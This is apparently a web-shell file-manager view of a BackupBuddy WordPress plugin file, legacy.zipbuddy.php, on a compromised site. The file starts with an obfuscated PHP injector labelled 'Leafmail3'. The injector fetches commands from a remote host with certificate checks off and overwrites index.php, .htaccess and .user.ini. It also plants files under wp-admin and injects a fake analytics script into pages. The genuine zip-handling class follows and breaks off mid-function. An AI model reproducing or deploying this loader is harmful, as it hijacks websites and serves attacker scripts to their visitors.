0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
backupbuddy
/
lib
/
zipbuddy
/
[
Home
]
File: legacy.zipbuddy.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * pluginbuddy_zipbuddy Class * * Handles zipping and unzipping, using the best methods available and falling back to worse methods * as needed for compatibility. Allows for forcing compatibility modes. * * @since 3.0.0 * @author Dustin Bolton * * $temp_dir string Temporary directory absolute path for temporary file storage. Must be writable! * $zip_methods array Optional. Array of available zip methods to use. Useful for not having to re-test every time. * If omitted then a test will be performed to find the methods that work on this host. * $mode string Future use to allow for other compression methods other than zip. Currently not in use. * */ // Try and load the experimental version - if successful then class will exist and remaining code will be ignored if ( ( defined( 'USE_EXPERIMENTAL_ZIPBUDDY' ) && ( true === USE_EXPERIMENTAL_ZIPBUDDY ) ) || ( isset( pb_backupbuddy::$options['alternative_zip'] ) && ( '1' == pb_backupbuddy::$options['alternative_zip'] ) ) ) { require_once( dirname( __FILE__ ) . '/x-zipbuddy.php' ); } if ( !class_exists( "pluginbuddy_zipbuddy" ) ) { class pluginbuddy_zipbuddy { /********** Properties **********/ const ZIP_METHODS_TRANSIENT = 'pb_backupbuddy_avail_zip_methods_classic'; const ZIP_EXECPATH_TRANSIENT = 'pb_backupbuddy_exec_path_classic'; const ZIP_TRANSIENT_LIFE = 60; const NORM_DIRECTORY_SEPARATOR = '/'; const DIRECTORY_SEPARATORS = '/\\'; private $_commandbuddy; public $_zip_methods; // Array of available zip methods. /********** Methods **********/ function __construct( $temp_dir, $zip_methods = array(), $mode = 'zip' ) { //$this->_status = array(); $this->_tempdir = $temp_dir; $this->_execpath = ''; // Handles command line execution. require_once( pb_backupbuddy::plugin_path() . '/lib/commandbuddy/commandbuddy.php' ); $this->_commandbuddy = new pb_backupbuddy_commandbuddy(); if ( !empty( $zip_methods ) && ( count( $zip_methods ) > 0 ) ) { $this->_zip_methods = $zip_methods; } else { if ( function_exists( 'get_transient' ) ) { // Inside WordPress if ( pb_backupbuddy::$options['disable_zipmethod_caching'] == '1' ) { pb_backupbuddy::status( 'details', 'Zip method caching disabled based on settings.' ); $available_methods = false; $exec_path = false; } else { // Use caching. $available_methods = get_transient( self::ZIP_METHODS_TRANSIENT ); $exec_path = get_transient( self::ZIP_EXECPATH_TRANSIENT ); } if ( ( $available_methods === false ) || ( $exec_path === false ) ) { pb_backupbuddy::status( 'details', 'Zip methods or exec path were not cached; detecting...' ); $this->_zip_methods = $this->available_zip_methods( false, $mode ); set_transient( self::ZIP_METHODS_TRANSIENT, $this->_zip_methods, self::ZIP_TRANSIENT_LIFE ); set_transient( self::ZIP_EXECPATH_TRANSIENT, $this->_execpath, self::ZIP_TRANSIENT_LIFE ); // Calculated and set in available_zip_methods(). pb_backupbuddy::status( 'details', 'Caching zipbuddy classic methods & exec path for `' . self::ZIP_TRANSIENT_LIFE . '` seconds.' ); } else { pb_backupbuddy::status( 'details', 'Using cached zipbuddy classic methods: `' . implode( ',', $available_methods ) . '`.' ); pb_backupbuddy::status( 'details', 'Using cached zipbuddy classic exec path: `' . $exec_path . '`.' ); $this->_zip_methods = $available_methods; } } else { // Outside WordPress $this->_zip_methods = $this->available_zip_methods( false, $mode ); pb_backupbuddy::status( 'details', 'Zipbuddy classic methods not cached due to being outside WordPress.' ); } } } // Function to translate a ZipArchive error code into an informative string description function ziparchive_error_info( $error, $full = true ) { // For safety let's check that the class actually exists... if ( class_exists( 'ZipArchive', false ) ) { // We can check the symbolic values switch( (int) $error ) { case ZIPARCHIVE::ER_OK: $error_name = "ZIPARCHIVE::ERR_OK"; $error_description = "No error"; break; case ZIPARCHIVE::ER_OPEN: $error_name = "ZIPARCHIVE::ER_OPEN"; $error_description = "Can't open file"; break; case ZIPARCHIVE::ER_MEMORY: $error_name = "ZIPARCHIVE::ER_MEMORY"; $error_description = "Memory allocation failure"; break; case ZIPARCHIVE::ER_EXISTS: $error_name = "ZIPARCHIVE::ERR_EXISTS"; $error_description = "File already exists"; break; case ZIPARCHIVE::ER_INCONS: $error_name = "ZIPARCHIVE::ER_INCONS"; $error_description = "Zip archive inconsistent"; break; case ZIPARCHIVE::ER_INVAL: $error_name = "ZIPARCHIVE::ER_INVAL"; $error_description = "Invalid argument"; break; case ZIPARCHIVE::ER_NOENT: $error_name = "ZIPARCHIVE::ER_NOENT"; $error_description = "No such file"; break; case ZIPARCHIVE::ER_NOZIP: $error_name = "ZIPARCHIVE::ER_NOZIP"; $error_description = "Not a zip archive"; break; case ZIPARCHIVE::ER_READ: $error_name = "ZIPARCHIVE::ER_READ"; $error_description = "Read error"; break; case ZIPARCHIVE::ER_SEEK: $error_name = "ZIPARCHIVE::ER_SEEK"; $error_description = "Seek error"; break; case ZIPARCHIVE::ER_MULTIDISK: $error_name = "ZIPARCHIVE::ER_MULTIDISK"; $error_description = "Multi-disk zip archives not supported"; break; case ZIPARCHIVE::ER_RENAME: $error_name = "ZIPARCHIVE::ER_RENAME"; $error_description = "Renaming temporary file failed"; break; case ZIPARCHIVE::ER_CLOSE: $error_name = "ZIPARCHIVE::ER_CLOSE"; $error_description = "Closing zip archive failed"; break; case ZIPARCHIVE::ER_WRITE: $error_name = "ZIPARCHIVE::ER_WRITE"; $error_description = "Write error"; break; case ZIPARCHIVE::ER_CRC: $error_name = "ZIPARCHIVE::ER_CRC"; $error_description = "CRC error"; break; case ZIPARCHIVE::ER_ZIPCLOSED: $error_name = "ZIPARCHIVE::ER_ZIPCLOSED"; $error_description = "Containing zip archive was closed"; break; case ZIPARCHIVE::ER_TMPOPEN: $error_name = "ZIPARCHIVE::ER_TMPOPEN"; $error_description = "Failure to create temporary file"; break; case ZIPARCHIVE::ER_ZLIB: $error_name = "ZIPARCHIVE::ER_ZLIB"; $error_description = "Zlib error"; break; case ZIPARCHIVE::ER_CHANGED: $error_name = "ZIPARCHIVE::ER_CHANGED"; $error_description = "Entry has been changed"; break; case ZIPARCHIVE::ER_COMPNOTSUPP: $error_name = "ZIPARCHIVE::ER_COMPNOTSUPP"; $error_description = "Compression method not supported"; break; case ZIPARCHIVE::ER_EOF: $error_name = "ZIPARCHIVE::ER_EOF"; $error_description = "Premature EOF"; break; case ZIPARCHIVE::ER_INTERNAL: $error_name = 